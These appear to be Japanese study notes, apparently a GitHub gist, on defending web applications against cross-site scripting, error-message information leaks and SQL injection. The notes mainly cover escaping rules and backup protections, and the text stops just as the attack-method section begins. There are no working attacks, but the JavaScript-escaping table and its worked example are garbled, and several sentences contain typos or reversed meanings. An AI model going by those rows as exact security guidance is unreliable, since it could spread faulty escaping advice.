2. 接続型XSS 攻撃用のScriptが、攻撃対象のDBに保存されている場合は接続型です。 このタイプはWebメールやSNSなどが攻撃対象です。

XSS脆弱性の発生原因

XSS脆弱性の発生原因は、HTML生成の際に特殊文字(メタ文字)を正しく扱っていないことです。 メタ文字の特別な意味を打ち消し、文字そのものとして扱うにはエスケープする必要があります。

XSS脆弱性の基本対策

  • 要素内容は「<」と「&」でエスケープする
  • 属性値は「"」で囲い、「<」「"」「&」をエスケープする

これらが最低限のXSS対策である。 各言語やフレームワークでのHTMLのエスケープ処理に使う機能は以下の通りです。

種類 機能
php htmlspecialchars関数
laravel {{}}で囲む
ruby cgiモジュール
rails <%= ~ %>を使って出力を行う
python bleachライブラリのclean関数
Django 自動エスケープ

XSSに対する保険的対策

XSSに対しては対策漏れが生じることが多いため、対策が漏れた際に攻撃に対する被害を軽減するための保険機能的なものがあります。

X-XSS-Protectionレスポンスヘッダの使用

このフィルタはブラウザに実装されている場合があります。 機能としては反射型XSSをブラウザが検知し、無害な出力に変更するものです。

入力値検証

入力値検証にて、入力値の妥当性検証を行い、条件に合致しない場合はエラーを表示し再入力を促すことがXSS対策になる場合があります。 ただし、入力値検証がXSS対策になるのは入力値が英数字のみに限定できる場合などに限られ、自由形式の入力欄では対策できません。

クッキーにHttpOnly属性を付与する

この属性はJavaScriptからのクッキー読み出しを禁止するものです。 この属性の付与することにより、セッションIDの盗み出しを防止できます。 なお他の攻撃手法には有効なため、攻撃手法を限定するだけです。

●XSS対策のまとめ

必須対策

  • 要素内容は「<」と「&」でエスケープする
  • 属性値は「"」で囲い、「<」「"」「&」をエスケープする
  • HTTPレスポンスに文字エンコーディングを明示する

保険的対策

  • X-XSS-Protectionレスポンスヘッダの使用
  • 入力値検証
  • クッキーにHttpOnly属性の付与

3.2 クロスサイトスクリプティング(XSS) 応用編

XSSの対策はエスケープすることが基本ですが、外部から変更できるパラメータがどこに置かれているかによって方法が変わります。

変更できるパラメータの場所 説明 エスケープの概要
要素内容(通常のテキスト) タグと文字参照が解釈される 「<」「&」を文字参照に
属性値 文字参照が解釈される 属性値を「"」で囲み、「<」「"」「&」を文字参照に
属性値(URL) 同上 URLの形式を検査して属性値としてエスケープ
イベントハンドラ 同上 JavaScriptとしてエスケープしてから属性値としてのエスケープ
script要素内の文字列リテラル タグも文字参照も解釈されない JavaScriptとしてのエスケープ、「<」が出現しないようにする

hrefやsrc属性のXSS

a要素のhref属性や、img要素のframe要素、iframeのsrc属性はURLを属性値としてとります。 href属性やsrc属性などURLを指定するものではjavascriptスキームが有効な場合があります。 javascriptスキームによるXSSは異質なXSSで対策方法も異なります。

●プログラムでURLを生成する場合の対策 この場合はhttpスキームとhttpsスキームのみを許可するようにチェックする必要がある。 具体的にはURLとしては、以下のいずれのみを許容するようにチェックするとよい。

  • http:またはhttps:で始まる絶対URL
  • スラッシュで始まる相対URL

●リンク先ドメイン名のチェック 外部のドメインに対するリンクが自明な場合以外は以下のどちらかを実施することを推奨します。

  • リンク先URLを検証し、URLが外部ドメインである場合はエラーにする
  • 外部ドメインのリンクであることをサイト利用者に注意喚起するためのクッションページを表示する

JavaScriptの動的生成

Webアプリケーションの中にはJavaScriptの一部をサーバで動的生成するものがあります。 具体的にはJavaScriptの文字列リテラルを動的に生成する場合です。 対策は以下の通りです。

  1. データをJavaScript文字列リテラルとしてエスケープする
  2. 1の結果をHTMLエスケープする

javaScript文字列リテラルとしてエスケープすべき文字リスト

文字 エスケープ後
|\|
' \'
" \"
改行 \n

例として「<>!"\」が与えられた場合、以下のエスケープが必要である。

元入力 JavaScriptエスケープ後 HTMLエスケープ後
<>'"|<>\"\'\|<>\'\"\|

●script要素のXSSの対策 scrpt要素内のJavaScriptの一部を動的生成する場合のXSS脆弱性はJavaScriptの文字列リテラルを動的に生成する部分です。 対策には以下の原理に従う必要がある。

  1. javaScriptの文法から「"」「'」「\」や改行をエスケープする
  2. イベントハンドラの場合は(1)の文字参照よりHTMLエスケープし、「"」で囲む
  3. script要素内の場合は(1)の結果に「</script」が出現しないようにする

これらの方法をするのが効果的ですが、処理が複雑なため対策漏れが生じやすいです。 そのためjavaScriptを動的に生成するのは避けた方が良いが、や無負えない場合もあるのでその場合は以下2ケースのいずれかを実施します。

  • Script要素の外部でパラメータ定義しJavaScriptから参照する
  • インラインJSONPによる参照

HTMLタグやCSSの入力を許す場合の対策

HTMLタグやCSSの入力を許可したい場合があります。これらはXSSの危険性が増大します。 そのためこれらを許可する際には入力した内容を構文解析し必要要素のみを抽出するライブラリを使用することが推奨されます。

3.3 エラーメッセージからの情報漏洩

エラーメッセージからの情報漏洩は以下の2種類があります。

  • エラーメッセージに攻撃者にとって有益なアプリケーションの内部情報が含まれる
  • 意図的な攻撃として、エラーメッセージに秘密情報を表示させられる

上記の問題があるため、アプリケーションでエラーが発生した際には画面に表示するのは「アクセスが集中しているため、しばらく待ってお試しください」などの利用者向けのメッセージにとどめ、エラー詳細内容はエラーログに出力するようにします。

●対処方法

言語・フレームワーク 方法
php php.iniの「display_errors= off」にする
Laravel config/app.php設定ファイルのdebug設定オプションをfalseにする
rails Railsをプロダクションモードで起動する

4.SQL呼び出しに伴う脆弱性

Webアプリケーションの多くはデータベースアクセスのためSQLを利用しています。このSQLによるデータベースアクセスの実装に不備があると、SQLインジェクションの脆弱性が生じます。

4.1 SQLインジェクション

概要

SQLインジェクションは、SQLの呼び出し方に不備がある場合に発生する脆弱性であり、Webアプリケーションのパラメータを操作してデータベースクエリに影響を与えることを目的とした攻撃手法です アプリケーションにSQLインジェクション脆弱性がある場合、以下のような影響を受ける可能性があります。

  • データベース内の全ての情報が外部から盗まれる
  • データベースの内容が書き換えられる
  • 認証が回避される
  • データベースサーバ上のファイル読み出し、書き込み、プログラムの実行などが行われる

●SQLインジェクションのまとめ

タイトル 説明
発生箇所 SQLを呼び出している場所
影響範囲 全てのページ
影響の種類 情報漏洩、データ改ざん、認証の回避、プログラムの実行、ファイルの参照・更新
影響度合い
利用者関与の必要性 不要
対策の概要 静的プレースホルダを利用しSQLを呼び出す

攻撃手法と影響

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment